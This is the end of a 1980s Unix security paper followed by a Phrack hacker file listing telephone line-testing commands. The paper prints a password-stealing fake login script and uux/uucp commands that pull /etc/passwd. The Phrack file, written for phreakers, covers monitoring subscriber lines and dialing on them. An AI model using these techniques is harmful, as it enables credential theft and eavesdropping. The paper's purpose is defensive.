To illustrate this, assume that a Trojan horse, similar to the cat utility, contains an instruction that imparts access privileges to a perpetrator. The fake cat is placed in a public directory /usr/his where a user often works. Now if the user has a PATH variable with the current directory first, and he enters the cat command while in /usr/his, the fake cat in /usr/his would be executed but not the system cat located in /bin.

In order to prevent this kind of system violation, the PATH variable must be correctly set. First, if at all possible, exclude the current directory as the first entry in the PATH variable and type the full path name when invoking Unix system commands. This enhances file security, but is more cumbersome to work with. Second, if the working directory must be included in the PATH variable, then it should always be listed last. In this way, utilities like vi, cat, su and ls will be executed first from systems directories like /bin and /usr/bin before searching the user's working directory.

PASSWORD SECURITY

User authentication in the Unix system is accomplished by personal passwords. Though passwords offer an additional level of security beyond physical constraints, they lend themselves to the greatest area of computer system compromise. Lack of user awareness and responsibility contributes largely to this form of computer insecurity. This is true of many computer facilities where password identification, authentication and authorization are required for the access of resources ‑ and the Unix operating system is no exception. Password information in many time‑sharing systems are kept in restricted files that are not ordinarily readable by users. The Unix system differs in this respect, since it allows all users to have read access to the /etc/passwd file (FIGURE 2) where encrypted passwords and other user information are stored. Although the Unix system implements a one‑way encryption method, and in most systems a modified version of the data encryption standard (DES), password breaking methods are known. Among these methods, brute‑force attacks are generally the least effective, yet techniques involving the use of heuristics (good guesses and knowledge about passwords) tend to be successful. For example, the /etc/passwd file contains such useful information as the login name and comments fields. Login names are especially rewarding to the "password breaker" since many users will use login variants for passwords (backward spelling, the appending of a single digit etc.). The comment field often contains items such as surname, given name, address, telephone number, project name and so on. To quote Morris and Grampp (7) in their landmark paper on Unix system security:

[in the case of logins]

The authors made a survey of several dozen local machines, using as trial passwords a collection of the 20 most common female first names, each followed by a single digit. The total number of passwords tried was, therefore, 200. At least one of these 200 passwords turned out to be a valid password on every machine surveyed.

[as for comment fields]

(...) if an intruder knows something about the people using a machine, a whole new set of candidates is available. Family and friend's names, auto registration numbers, hobbies, and pets are particularly productive categories to try interactively in the unlikely event that a purely mechanical scan of the password file turns out to be disappointing.

Thus, given a persistent system violator, there is a strong evidence, that he will find some information about users in the /etc/passwd file. With this in mind, it is obvious that a password file should be unreadable to everyone except those in charge of system administration.

root:aN2z06ISmxKqQ:0:10:(Boss1),656‑35‑0989:/:/bin mike:9okduHy7sdLK8:09:122:No.992‑3943:/usr:/bin

FIGURE 2. The /etc/passwd file. Note the comments field as underlined terms.

Resolution of the /etc/passwd file's readability does not entirely solve the basic problem with passwords. Educating users and administrators is necessary to assure proper password utilization. First, "good passwords are those that are at least six characters long, aren't based on personal information, and have some non‑alphabetic (especially control) characters in them: 4score, my_name, luv2run" (8). Secondly, passwords should be changed periodically but users should avoid alternating between two passwords. Different passwords for different machines and files will aid in protecting sensitive information. Finally, passwords should never be available to unauthorized users. Reduction of user ignorance about poor password choice will inevitably make a system more secure.

NETWORK SECURITY

UUCP system

The most common Unix system network is the UUCP system, which is a group of programs that perform the file transfers and command execution between remote systems. (3) The problem with the UUCP system is that users on the network may access other users' files without access permission. As stated by Nowitz (9),

The uucp system, left unrestricted, will let any outside user execute commands and copy in/out any file that is readable/writable by a uucp login user. It is up to the individual sites to be aware of this, and apply the protections that they feel free are necessary.

This emphasizes the importance of proper implementation by the system administrator.

There are four UUCP system commands to consider when looking into network security with the Unix system. The first is uucp, a command used to copy files between two Unix systems. If uucp is not properly implemented by the system administrator, any outside user can execute remote commands and copy files from another login user. If the file name on another system is known, one could use the uucp command to copy files from that system to their system. For example:

%uucp system2!/main/src/hisfile myfile

will copy hisfile from system2 in the directory /main/src to the file myfile in the current local directory. If file transfer restrictions exist on either system, hisfile would not be sent. If there are no restrictions, any file could be copied from a remote user ‑ including the password file. The following would copy the remote system /etc/passwd file to the local file thanks:

%uucp system2!/etc/passwd thanks

System administrators can address the uucp matter by restricting uucp file transfers to the directory /user/spool/uucppublic. (8) If one tries to transfer a file anywhere else, a message will be returned saying "remote access to path/file denied" and no file transfer will occur. The second UUCP system command to consider is the uux. Its function is to execute commands on remote Unix computers. This is called remote command execution and is most often used to send mail between systems (mail executes the uux command internally).

The ability to execute a command on another system introduces a serious security problem if remote command execution is not limited. As an example, a system should not allow users from another system to perform the following:

%uux "system1!cat</etc/passwd>/usr/spool/uucppublic"

which would cause system1 to send its /etc/passwd file to the system2 uucp public directory. The user of system2 would now have access to the password file. Therefore, only a few commands should be allowed to execute remotely. Often the only command allowed to run uux is rmail, the restricted mail program.

The third UUCP system function is the uucico (copy in / copy out) program. It performs the true communication work. Uucp or uux does not actually call up other systems; instead they are queued and the uucico program initiates the remote processes. The uucico program uses the file /usr/uucp/USERFILE to determine what files a remote system may send or receive. Checks for legal files are the basis for security in USERFILE. Thus the system administrator should carefully control this file.

In addition, USERFILE controls security between two Unix systems by allowing a call‑back flag to be set. Therefore, some degree of security can be achieved by requiring a system to check if the remote system is legal before a call‑back occurs.

The last UUCP function is the uuxqt. It controls the remote command execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to determine which commands will run in response to a remote execution request. For example, if one wishes to use the electronic mail feature, then the L.cmd file will contain the line rmail. Since uuxqt determines what commands will be allowed to execute remotely, commands which may compromise system security should not be included in L.cmd.

CALL THE UNIX SYSTEM

In addition to UUCP network commands, one should also be cautious of the cu command (call the Unix system). Cu permits a remote user to call another computer system. The problem with cu is that a user on a system with a weak security can use cu to connect to a more secure system and then install a Trojan horse on the stronger system. It is apparent that cu should not be used to go from a weaker system to a stronger one, and it is up to the system administrator to ensure that this never occurs.

LOCAL AREA NETWORKS

With the increased number of computers operating under the Unix system, some consideration must be given to local area networks (LANs). Because LANs are designed to transmit files between computers quickly, security has not been a priority with many LANs, but there are secure LANs under development. It is the job of the system manager to investigate security risks when employing LANs.

OTHER AREAS OF COMPROMISE

There are numerous methods used by hackers to gain entry into computer systems. In the Unix system, Trojan horses, spoofs and suids are the primary weapons used by trespassers.

Trojan horses are pieces of code or shell scripts which usually assume the role of a common utility but when activated by an unsuspecting user performs some unexpected task for the trespasser. Among the many different Trojan horses, it is the su masquerade that is the most dangerous to the Unix system. Recall that the /etc/passwd file is readable to others, and also contains information about all users ‑ even root users. Consider what a hacker could do if he were able to read this file and locate a root user with a writable directory. He might easily plant a fake su that would send the root password back to the hacker. A Trojan horse similar to this can often be avoided when various security measures are followed, that is, an etc/passwd file with limited read access, controlling writable directories, and the PATH variable properly set.

A spoof is basically a hoax that causes an unsuspecting victim to believe that a masquerading computer function is actually a real system operation. A very popular spool in many computer systems is the terminal‑login trap. By displaying a phoney login format, a hacker is able to capture the user's password.

Imagine that a root user has temporarily deserted his terminal. A hacker could quickly install a login process like the one described by Morris and Grampp (7):

echo ‑n "login:"

read X

stty ‑echo

echo ‑n "password:"

read Y

echo ""

stty echo

echo %X%Y|mail outside|hacker&

sleep 1

echo Login incorrect

stty 0>/dev/tty

We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system. The fake terminal‑login acts as if the user has incorrectly entered the password. It then transfers control over to the stty process, thereby leaving no trace of its existence. Prevention of spoofs, like most security hazards, must begin with user education. But an immediate solution to security is sometimes needed before education can be effected. As for terminal‑login spoofs, there are some keyboard‑locking programs that protect the login session while users are away from their terminals. (8, 10) These locked programs ignore keyboard‑generated interrupts and wait for the user to enter a password to resume the terminal session.

Since the suid mode has been previously examined in the password section, we merely indicate some suid solutions here. First, suid programs should be used is there are no other alternatives. Unrestrained suids or sgids can lead to system compromise. Second, a "restricted shell" should be given to a process that escapes from a suid process to a child process. The reason for this is that a nonprivileged child process might inherit privileged files from its parents. Finally, suid files should be writable only by their owners, otherwise others may have access to overwrite the file contents. It can be seen that by applying some basic security principles, a user can avoid Trojan horses, spoofs and inappropriate suids. There are several other techniques used by hackers to compromise system security, but the use of good judgement and user education may go far in preventing their occurrence.

CONCLUSION

Throughout this paper we have discussed conventional approaches to Unix system security by way of practical file management, password protection, and networking. While it can be argued that user education is paramount in maintaining Unix system security (11) factors in human error will promote some degree of system insecurity. Advances in protection mechanisms through better‑written software (12), centralized password control (13) and identification devices may result in enhanced Unix system security. The question now asked applies to the future of Unix system operating. Can existing Unix systems accommodate the security requirements of government and industry? It appears not, at least for governmental security projects. By following the Orange Book (14), a government graded classification of secure computer systems, the Unix system is only as secure as the C1 criterion. A C1 system, which has a low security rating (D being the lowest) provides only discretionary security protection (DSP) against browsers or non‑programmer users. Clearly this is insufficient as far as defense or proprietary security is concerned. What is needed are fundamental changes to the Unix security system. This has been recognized by at least three companies, AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made vital changes to the kernel and file system in order to produce a C2 rated Unix operating system. To achieve this, however, they have had to sacrifice some of the portability of the Unix system. It is hoped that in the near future a Unix system with an A1 classification will be realized, though not at the expense of losing its valued portability.

REFERENCES

1 Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986) pp 50‑63

2 Waite, M et al. "Unix system V primer" USA (1984)

3 Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113‑128 4 Kowack, G and Healy, D "Can the holes be plugged?" Computerworld Vol 18 (26 September 1984) pp 27‑28

5 Farrow, R "Security issues and strategies for users" Unix/World (April 1986) pp 65‑71

6 Farrow, R "Security for superusers, or how to break the Unix system" Unix/World (May 1986) pp 65‑70

7 Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell Lab Tech. J. Vol 63 No 8 (1984) pp 1649‑1672

8 Wood, P H and Kochan, S G "Unix system security" USA (1985)

9 Nowitz, D A "UUCP Implementation description: Unix programmer's manual Sec. 2" AT&T Bell Laboratories, USA (1984)

10 Thomas, R "Securing your terminal: two approaches" Unix/World (April 1986) pp 73‑76

11 Karpinski, D "Security round table (Part 1)" Unix Review (October 1984) p 48

12 Karpinski, D "Security round table (Part 2)" Unix Review (October 1984) p 48

13 Lobel, J "Foiling the system breakers: computer security and access control" McGraw‑Hill, USA (1986)

14 National Computer Security Center "Department of Defense trusted computer system evaluation criteria" CSC‑STD‑001‑83, USA (1983) 15 Stewart, F "Implementing security under Unix" Systems&Software (February 1986)

16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the Lock TCB" Proceedings of USENIX (1988)

17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs, Government System Division, USA (August 1987)

Loop Maintenance Operating System

==Phrack Inc.==

Volume Two, Issue 18, Phile #8 of 11

Control C

and

The Tribunal of Knowledge presents...

LMOS (Loop Maintenance Operation System)

‑A List of Commands

This file contains what to our knowledge are the best things to do on LMOS. We were really vague due to the great power of the information provided in this file. You now know the commands so we will not go into (either in this file or when talking to us) how to use this information, it is up to you to figure out how to use it.

+: Increase the voice volume on a line

+ lets you increase the volume when you are talking on or monitoring a sub‑scriber's line over a callback path. The volume is increased because MLT adds amplifier to the line. + may be used after a mon, talk, rev, talkin or call request. Sometimes MLT adds an amplifier automatically to a long line. You will not know it is there so if you try to add amplification, a + will appear in the status sections but the voices will not get any louder because they are already loud as possible.

‑: Decrease the voice volume on a line

‑ lets you decrease the volume when you are talking on or monitoring a subscriber's line over a callback path. The volume is decreased because MLT removes amplifier from the line. ‑ may be used to remove amplifier that you have placed on the line with the + request, or amplifier that MLT has automatically places on a long line. The main reason to remove the amplifier is because it can sometimes cause a shrill or howl.

Call: Make a call on a subscriber's line

Call lets you use your touch‑tone pad to dial any number you want using the customer's line circuit. It does this by simulating an off‑hook condition in order to draw dial tone. A callback number is a required entry on the tv mask and an mdf access is required for calling out (except in SXS and panel offices). You can use a call when: 1) You want to know the TN for a known CA & PR ‑ you would call TSPS or ANI. 2) Calls cannot be completed to a TN ‑ you would call that TN. 3) To monitor dial tone on a customer's line.

Callrd: Make a call on a dial pulse line circuit

Callrd lets you use your touch‑tone pad to dial using the customer's rotary dial line circuit. MLT does this by translating tones on a customer's line. mdf access is required for calling out (except in SXS, DMS10, DMS100, and DMS100AC offices). Use a callrd if you want to know the TN for a known CA & PR ‑ you would call TSPS or ANI.

Ccol: Collect coins using coin relay

Ccol attempts to collect any coins that are in the hopper of a coin telephone set by operating the coin relay. Ccol does not check the totalizer or check the rest of the line. The results tell you only about relay operation, speed, and the current that is necessary to operate it. A ver code is not returned by ccol. You must have access to the line before your request ccol. You will use ccol most often when you are talking to a repair person who is trying to fix a coin phone.

Channel: Run enhanced channel tests on DLC lines

Chan or channel runs channel isolation tests and tells you if you have a bad COT or RT channel unit. Use this request to run enhanced channel tests on lines served by digital loop carriers such as SLC Series 5. Chan can only be run if there is special equipment in the co you're testing in. If you are testing a non‑locally switched line with the SSA request, channel tests must be run separately with this request. Chan may also be used to run channel isolation tests on switched lines from the tv or stv mask, but these tests are included when you do a full or loop on a switched line.

Change: Change status information

Change allows you to change cable, pair or comment information that is displayed without having to request a test or any other type of information. the permanent line record information is not changed. To request a change, enter "change" in the req field of the tv and enter the change of information.

Chome: Home totalizer on a coin telephone

Chome attempts to return a totalizer to the starting position (home) for counting coins. The totalizer counts the coins and sends a tone back to the co for every 5 cents deposited. If it is not homed, coins can't be deposited. A chome request tells you whether the totalizer was homed, how many tones were sent to the co, and the current that was used to home the totalizer. A line must already be accessed to request a chome. Chome is often used when a repair person is trying to fix a coin telephone.

Co: Test the central office equipment

Co initiates a series of tests on the subscriber's line circuit. Co can be requested using either a no‑test or an MDF trunk. A no‑test access connects you to the entire loop but a co request tests only the inside portion. An MDF access is only connected to the inside portion of the loop. The outside portion is physically disconnected. Use a no‑test access when you are fairly sure the trouble is inside the central office. Use a co on an MDF access when you are not sure where the trouble is.

Coin: Test a coin telephone set

Coin initiates a full series of tests on a telephone line. The station set, the totalizer, the coin relay, the loop and the co equipment are checked. If the coin request finds something wrong with either the totalizer or the relay, it stops testing and tells you the trouble is in the set. If it finds nothing wrong, it runs the full entries of tests. Coin may be used when a repair person is trying to fix a coin telephone. If a coin phone is newly installed, coin will check the set even though there is no line record.

Cret: Operate coin relay to return coins

Cret attempts to return any coins that may be lodged in the hopper of a coin telephone set. It operates the coin relay so that it will return the coins. It tries to return them 3 times before giving up. If it is successful, it also checks the speed of the relay. It does not check the totalizer or the rest of the line. You should have access to the line before you request a cret. You will use cret primarily when you are talking to a repair person who is trying to repair coin telephone.

Cset: Check totalizer and relay in coinset

Cset checks the totalizer and the coin relay in a coin telephone set. The totalizer is the mechanism in the phone that counts deposited coins and sends a tone back to the co for every 5 cents that is deposited. The relay is the mechanism that either returns or collects the coins that are deposited. Cset does not check the co or loop parts of the line. Cset can be used when you are talking to a repair person who is fixing a coin telephone.

Dial: Test a subscriber's rotary dial

Dial checks the subscriber's rotary dial. You must be in contact with the subscriber,either over a callback path or over a ddd line. For the dial request to work correctly, tell the subscriber to dial a "0" after hearing brief dial tone. The results of a dial request tell you whether the dial is okay or not, whether the dial speed is okay and what the speed is, and whether the break is okay and what the break is. Use the dial request when you suspect a problem with the telephone set. The trouble report could be "Can't call out' or 'Gets wrong numbers", for example.

Dtout: Test a pbx line circuit

Dtout initiates a series of tests on a pbx line circuit. Dtout must be requested using an MDF trunk. It is used to draw dial tone and check the arrangement of the pbx line circuit. Use dtout when you need to check the condition of special service circuits that do not use central office switches.

Full: Test the entire telephone line

Full starts a series of tests that do an extensive analysis of the entire line. This includes both the inside and outside portions. Many individual tests are run and the most important results are displayed in the summary message. Outside, MLT checks for AC and DC faults. Inside, it checks the line circuit and dial tone. The results may also include many other types of information about the line. You might request full line test when you first access a line or when you need to know a lot about a line.

Grm: Get fast ground resistance measurement

Grm gives you a quick measurement of the DC resistance of the ground path from the strap to the test hardware. Before you do a grm, have the repair person strap the tip and ring wires to ground. If this isn't done, grm will give you incorrect values. The line must be accessed before you do a grm request. You can use grm when you are talking to a repair person who is fixing a coinset. The resistance values obtained from a grm can be compared to old resistance values that are stored inside each coinset.

Help: List the valid tv requests

Help returns a list of all of the valid requests used in MLT‑2. Help can be used when you are not sure which request to use in a particular situation, or when you can't remember an exact request name. For example, the correct entry to reverse polarity on a touch‑tone line is "Rev.", help will tell you this. For a description of any specific request, enter the name of the request followed by a question mark.

Info: Get general information about a line

Info gives you the wire center name and the location of the frame; the exchange key, MDF group and MDF trunk numbers associated with the subscriber's line; the telephone number at the appropriate frame; and the assignment telephone number. You can get information about a whole telephone number, an NPA‑NXX‑, or an exchange key. MLT does not access the line when you request info, but it keeps access if you already have it. If there are multiple frames in an office, MLT give you information about all of them.

Keep: Keep an access that you already have

Keep lets you hold access to a no‑test or MDF trunk that is about to "timeout." MLT keeps track of which trunks you have accessed but have not used for a while. MLT will automatically drop the access for you after a certain period of time. About 2 minutes before dropping the access, MLT gives you a warning message and also highlights the status line that will be dropped. If you want to keep the access, you should enter "keep" in the req field and the tn or line number of the access to be held. To drop an access when your are finished with it, enter an x in the req field.

Lin: Test the inside part of the loop

Lin starts a series of tests on the inside portion of a line. Lin includes the same tests as the loop test and can identify a co line circuit if one is present. Lin does not do the regular line circuit and draw and break dial tone tests. An MDF access is required for a lin request. You can use lin to test special circuit that do not use co switching machine. For example, if the circuit has 2 loops connected at the frame, lin lets you look at the second loop (both full and loop only test toward one loop).

Lloop: Run the long loop analysis on the outside or loop part of a line

The ll request starts a series of tests which do extensive analysis of the outside portion of the subscriber's line. It is specifically designed to handle cases that the regular loop request was not designed to handle. These cases include very long loops (over 100,000 feet) and multiparty lines on moderate‑to‑very‑long loops. It does similar measurements to those that loop does, but analyzes the results differently. It expects to see a loop that has no dc faults or only very light dc faults. If you use a loop on lloop on a loop that has serious dc faults it will not do the long loop analysis.

Loc1: Measure distance to 1‑sided resistive fault

Loc1 gets MLT to measure how far a one‑sided fault is from the repair person, because telephone lines can be very long, it can be difficult for a repair person to find the location of a resistive fault. You can use loc1 to help the repair person have 1‑sided fault. You should be in contact with the repair person on a line other than the one being measured. Have the repair person open the pr at a ready‑access point beyond the fault if possible. Ask him/her to strap the pr tip to ring. Remember to enter a temperature on the tv mask before you transmit the loc1 request.

Loc2: Measure distance to 2‑sided resistive fault

Loc2 gets MLT to measure how far a two‑sided fault is from the repair person. Remember that you must run a locgp before you run a loc2 and that you must be in contact with the repair‑person on a line other than the one you will be measuring. The repair‑person must connect the bad pair to the good pair in a specific way, the exact method to use is explained in the results of the locgp request. Logcp and loc2 can also be used to sectionalize a one‑sided resistive fault. Remember to enter a temperature on the tv mask before you transmit the loc2 request.

Look: Look for an intentional fault

Look is used to identify a fault, usually a short or ground, that has been placed on the line by the repair person. Look can be used when a repair person is having trouble locating a particular line. Look gets MLT to monitor the line that the repair person is looking for. When the repair person shorts or grounds the line, mlt sends a tone to you over your headset. You can tell the repair person that you "see the short". A callback path is required for a look request. You should talk to the repair person on a line other than the one you are working on.

Lookin: Look for an intentional fault on a special services line

Lookin is used to identify a fault, usually a short or ground, that has been placed on the special services line by the technician. Lookin is used to locate a particular line by having MLT monitor the line that the repair person is looking for. When the repair person shorts or grounds the line, MLT sends a tone to you over your headset. You can tell the repair person that you "See the short." A callback path is required for a lookin quest. You should talk to the repair person on a line other than the one you are working on. MDF access is required.

Loop: Test the outside part of the loop

Loop starts a series of tests that do an extensive analysis of the outside portion of the line. Loop does every test that full does except the line circuit and draw and break dial tone tests. Loop can be requested using either a no‑test or an MDF trunk. A no‑test access connects you to the entire line but a loop request tests only the outside portion. An MDF access is only connect to the outside portion. Use a no‑test trunk when you are fairly sure the trouble is out of the co and an MDF when you are not sure.

Lrm: Get fast loop resistance measurement

lrm gives you a quick measurement of the DC resistance on a line. Lrm can't be run unless either the receiver is off‑hook or the line is strapped tip to ring (an intentional short is placed on the line by the repair person). Also, MLT will not accept an lrm request if there is a hard ground on the line. Lrm does not access the line so you must already have access to do an lrm. You can use lrm when you are talking to a repair person who is fixing a coinset. The resistance values obtained from the lrm can be compared to the old resistance values that are stored inside each coinset.

MDF(#): Access a specific MDF trunk

MDF(#) lets you choose the MDF trunk that you want MLT to access. Use this request when an MDF trunk is connected to a telephone line at the MDF but is not connected to the loop testing system. This may occur in small offices where the frame attendant doesn't work for the entire day. You can also use this request when an MDF trunk has to be tested and repaired. The MDF entry must be a five character entry consisting of the wire center identifier and the trunk number.

Mdf: Access a main distributing frame (MDF)

MDF connects the mlt testing equipment to an MDF trunk. Before you can enter any requests, you must have the frame attendant connect the MDF trunk to the subscriber's line. Remember that MLT automatically accesses a no‑test trunk unless you specifically request an MDF trunk. An MDF trunk goes directly from the loop testing system to the main distributing frame. Bypassing the central office switch. Using an MDF trunk allows you to test loops that are connect to co equipment that is not MLT‑testable. Also, you can sectionalize a fault in or out of the co by testing "in" or "out" using MDF.

MDF(gr): Access a trunk from a certain mdf trunk group

MDF(gr) lets you choose the MDF trunk group from which MLT will choose an MDF trunk. Use the MDF(gr) request when the NPA‑NXX that you are using has more than one frame associated with it and you can't enter cable and pair numbers. For example, to request MDF trunk group a, you should enter MDFA in the req field. To find out which trunk groups are available for your NPA‑NXX you can either enter an mdf or an info request. Remember that you still have to call the frame attendant to have the trunk and line connected and also disconnect when you are finished.

Mdfin: Test the inside part of a line

Mdfin starts a series of tests that do an extensive analysis of the inside line. This includes line circuit and dial tone tests. The mdfin request uses a special line that runs from the MLT testing equipment to the MDF. You must ask the frame attendant to connect this line to the subscriber's line. Then you must enter the telephone number of this special line on the test mask along with mdfin and the subscriber's number. For more information see the mdfio module in the MLT‑2 user guide.

Mdfout: Test the outside part of a line

Mdfout starts a series of tests that do an extensive analysis of the outside line. This includes the DC and AC tests. The mdfout request uses a special line that runs from the mlt testing equipment to the MDF. You must ask the frame attendant to connect this line to the subscriber's line. Then you must enter the telephone number of this special line on the test mask along with mdfin and the subscriber's number.

Mon: Monitor a subscriber's line

Mon lets you monitor a subscriber's line. Sometimes you are a better judge of whether there is noise, speech, or a recording on a line than MLT is. If you want to listen to a line to determine if one of these conditions does exist, use the mon request. You can also be automatically placed in the monitor mode by MLT in some cases. You will be put in monitor mode if you request ring, talk or psr but MLT thinks the line is busy, or if you must talk to the subscriber to run a rev, dial, or tt. A callback number is required. You can request quick, look, or full while in monitor mode.

Psr: Release a permanent signal

Psr attempts to release a permanent signal in a step‑by‑step central office. A permanent signal is a steady dial tone on a line. A frequent cause is a receiver that is off‑hook. Psr lets you remove the permanent signal so that you can monitor for room noise. If when you monitor the line you still hear steady dial tone, you should suspect permanent signal on the line. Psr requires a callback path between your callback line and the subscriber's line. You should already have the callback path established before you enter a psr request.

Qin: Run a quick series in toward the co

Qin starts a series of tests that make a "quick" check of the loop toward the central office. It includes the same tests as quick. It can also identify a co line circuit if one is present and will report a line circuit if the DC resistances look like one is present. An MDF access is required for a qin request. You can use qin to test special switching machines. For example, if the circuit has 2 loops connected at the frame, qin lets you look at the 2nd loop (both full & loop only test toward one loop).

Rev: Identify touch‑tone polarity reversals

Rev helps you identify a touch‑tone polarity reversal. On a good line, the battery is connected to the ring wire and the ground is on the tip wire. These wires must be connected to specific terminals on the telephone. If they are reversed, the subscriber will be able to receive calls but will not be able to dial out. If the line is reversed, you won't be able to hear the tones before you enter a rev request. Rev only reserves the line temporarily. A callback path should be established before you make a rev request.

Rin: Ring a subscriber's special services line

Rin lets you ring a telephone on a special services line. A callback is required. If one doesn't exist, ring in sets one up for you. To answer the callback, answer its ring and press "0" on the touch‑tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy, the call in progress will be interrupted. Use rin to contact the subscriber or a technician at the subscriber's home. MDF access is required to request rin.

Ring(#): Ring a specific party on a multi‑party line

Ring(#) lets you choose the telephone that you want to ring on a multiparty line. A multiparty line is one on which more than one subscriber is connected to the same pair of wires. Normally MLT checks the line records of the telephone number you enter using the ring request, and automatically rings the correct party. When the line records indicate 2, 4, or 8 party, use the ring(#) request and specify the party number in place of the "#." If you request ring1, MLT rings the party connected to the ring side. If you request ring2, MLT rings the party connected on the tip side.

Ring: Ring a subscriber's line

Ring lets you ring a telephone on a single party line. A callback path is required but if one doesn't exist, ring sets one up for you. To answer your callback, answer its ring and press "0" on the touch‑tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy or cannot be rung, you will be placed in monitor mode to listen for noise or speech. Use ring to contact the subscriber or a repair person at the subscriber's home.

Ringer: Check ringer configuration on a line

Ringer counts the number of ringers on each part of the loop (tip‑ring, tip‑ground, and ring‑ground). The results tell you the number of telephones found by MLT. If there is a problem, the summary explains the problem. If you are testing a party line, some of the ringers found may belong to the other party.

Rin: Ring a subscriber's special services line

Rin lets you ring a telephone on a special services line. A callback is required. If one doesn't exist, ring‑in sets one up for you. To answer the callback, answer its ring and press "0" on the touch‑tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy the call in progress will be interrupted. Listen for noise of speech. Use rin to contact the subscriber or a technician at the subscriber's home. MDS is required to request rin.

Soak: Identify swinging resistance condition

Soak identifies unstable ground faults (swinging resistance) on a line. Voltage is applied to the line and a series of DC resistance measurements are made to see the effect of that voltage. If the resistance values are all low, the fault is probably stable. If even one value is 20% larger than the original measurement, the fault may be unstable (swinging). A repair person who is dispatched may have trouble locating a swinging fault. Use soak when you find a 10‑1000 kohm ground on a q test (full & loop include the soak test), or just prior to dispatch to double‑check a line's condition.

Ssa: Special services access

The ssa request is used to access non‑locally switched customer telephone lines. Accessing these lines is a special case of a no‑test trunk access. However, if they go through a digital loop carrier such as SLC Series 5, and there is special equipment available in the co, then you can test them with a no‑test trunk special se rvices access. This means you don't have to call the trunk. The request can only be run from the stv mask.

Stv: Special services trouble verification request

The stv request changes you from a tv mask to an stv mask. Stv is used when you need to test special services circuits (non‑locally switched lines) served by digital loop carrier systems such as SLC Series 5. Switching to the stv mask will not affect any information you left in the tv mask ‑‑ your status lines will remain the same; however, the middle section of the mask will be changed. Any request done from a tv mask can also be done from an stv mask, but not vice versa. The stv request can only be run from a tv mask.

Take: Take control of a long‑term access

Take is used when you want to transfer a long‑term access from someone else's terminal to your terminal. To take control of a no‑test access, enter the telephone number that you want to transfer in the tn field. To transfer an MDF access to your terminal, enter the NPA‑NXX in the tn field and the MDF number in the space to the right of the regular tn field of the tv mask. Finally, enter take in the req field. If the previous holder had a callback established, it would not be remover. If necessary, you must remove the callback using xcb and request a new callback to your telephone.

Talk: Talk over the subscriber's line

Talk lets you talk to either a subscriber or a repair person on a subscriber's line. Talk does not ring the line so there must be someone waiting to talk to you on the other end of the line. A callback path is required for the talk request but if one does not already exist, talk will set one up for you if you have a callback number entered. If the line is already accessed before the talk request, MLT enters a "t" and the last 2 digits of the callback number under the callback heading and updates the time since access. You can request quick, loop, or full while in talk mode.

Talkin: Talk over the subscriber's special services line

Talkin lets you talk to a subscriber or a repair person on a special services line. Talkin does not ring the line so there must be someone waiting to talk to you on the other end of the line. A callback path is required for the talkin request but if one does not already exist, talkin sets one up for you if you have a callback number entered. If the line is already accessed before the talkin request, MLT enters a "t" and the last 2 digits of the callback number under the callback heading and updates the time since access. You must have an MDF access to request talkin.

Tone+: Use loud tone to help identify a pair

Tone+ puts a high amplitude tone on a line. It is used on pairs that are very long. The extra amplitude helps the repair‑person hear the tone over long distances. Tone is used to help a repair person to locate the correct pair in a cable with many pairs of wires in it. Use tone+ when a repair person requests a tone on a very long pair. If you have a callback on the line, it will be placed in monitor mode. If the status line gets brighter & you get a changed state message, it means 1) The repair person found the pr & wants to talk to you or 2) The subscriber has gone off‑hook.

Tone: Use tone to help craft identify a pair

Tone puts a metallic tone on a line. There may be many pairs in a single cable, making it difficult for a repair person to locate a specific line. The tone makes this job easier. Before MLT places a tone on a line it does a test. The results tell you if there is a fault on the line. If there is a callback on the line when you request a tone, it will be placed in monitor mode. If the status line gets brighter and you get a changed state message, it means either 1) The repair person found the pr & wants to talk to you or 2) The subscriber has gone off‑hook.

Toneca: Use tone to help identify a cable

Toneca puts a longitudinal tone on a line. This tone helps the repair person find the cable binder group that the pair is in. The repair person finds the correct cable by listening for the tone. Because the tone can be heard on pairs other than the one you put it on, when tone or tone+ are inappropriate. If the repair person does not have time to find the cable on the first try, you can repeat the request. Before placing the tone on the line, MLT does a pretest and tells you if there is a fault on the line.

Tonein: Use tone to help a technician identify a special services pair

Tonein puts a metallic tone on a special services line. It may be difficult for a technician to locate a specific line. The tone makes this job easier. Before MLT places a tone on a line it does a pretest. An MDF access is required in order to request a tonein. If a callback is on the line when you request tonein, it is placed in monitor mode. If the status line gets brighter and you get a changed state message, it means either 1) The repair person found the pr & wants to talk to you or, 2) The subscriber has gone off‑hook.

Tt: Test the subscriber's touch‑tone pad

Tt checks a subscriber's touch‑tone pad. It analyzes the tones produced when the subscriber presses the button before you make a tt request. You in the sequence 1 through 0. You must instruct the subscriber to press the buttons after hearing dial tone. Mlt will signal you over your headset with two beeps if the pad is good or one or no beeps if it is bad. A callback path should be established before you make a tt request. You must use a no‑test trunk access to request it. You can use the ring request to contact the subscriber and set up a callback.

Tv: Trouble verification request

The tv request changes you from an stv mask to a tv mask. Tv is used when you need to do interactive testing of locally switched telephone lines, or tests using an MDF trunk. Switching to the tv mask will not affect any information you left in the stv mask ‑‑ your status lines will remain the same; however, the middle section of the mask will be changed. Any request done from a tv mask can also be done from an stv mask, but not vice versa. The request can only be run from a stv mask.

Ver##: Get definition and example of a ver code

Ver## gives you a description of the ver code that you type in place of the ##. For example, a ver22 request will give you a definition of verification code number 22 and an example of a typical set of test results that might accompany a ver code of 22. Use this request whenever you can't remember what a certain ver code means. MLT stores your tv mask when you request ver code information.

Ver: Test the entire telephone line

Ver starts a series of tests that do an extensive analysis of the entire line. This includes both the inside and outside portions. Many individual tests are run but only the ver code and summary messages are displayed. Outside, MLT checks for AC and DC faults. Inside, it checks the line circuit and dial tone.

Thanks to AT&T and the Bell Operating Companies.

Control C and The Tribunal of Knowledge

If you have any questions or comments contact:

Control C

Jack Death

Prime Suspect

The Prophet

The Urvile

Or any other member of the TOK.

A Few Things About Networks

==Phrack Inc.==

Volume Two, Issue 18, Phile #9 of 11

